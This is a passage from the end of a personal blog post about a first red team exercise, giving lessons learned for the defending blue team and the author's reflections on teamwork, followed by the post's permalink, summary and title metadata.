page to check for malware, and the Ghost-Phisher page is so heavily loaded with HTML/JS/CSS that manual analysis in such a short time was impossible.\nThe Blue Team learned that sometimes it’s better to keep playing whack-a-mole to mitigate than spending so much time and energy into finding the root cause. We created a Domain Admin account that they noticed almost immediately but took no action on, because they were trying to figure out how we did it, instead of responding to the immediate situation. Turned out most of the blue team didn’t know that we had domain admin creds in the scenario.\nThey also learned they needed better *Nix monitoring, since there were no syslogs generated on the webservers. They also had the appropriate monitoring software but didn’t implement in based on the limited time prep they were given. And finally, they learned they should get people qualified in Windows administration to be able to properly mitigate attacks on a Domain Controller. With a qualified administration, the GPO changes they made could have been more effective with a more immediate impact on our accesses.\nSUMMARY: I had a lot of fun doing my first red team exercise and it’s definitely something I’m looking forward to doing again. I realized how important it was to have red team operators with different skillsets, as Hib, Ed and I would not have thought to perform iptables and WinRM magic, and none of them would have thought to perform XSS. We all learned from each other, and that’s the type of team pentesting and red team exercises I’d like to have in my future.\n","permalink":"https://daddycocoaman.dev/posts/first-time-red-team-experience/","summary":"I was invited to be a part of a red team as part of a practice for a cyber defense event. I didn’t really know what to expect but I couldn’t miss the opportunity to learn, so I accepted. We had two days to learn our infrastructure and two days to actively engagement. In a team of four, this was the first time red teaming for two of us. A lot of learning occurred between the four of us and ultimately for the blue team.","title":"First Time Red Team Experience"}]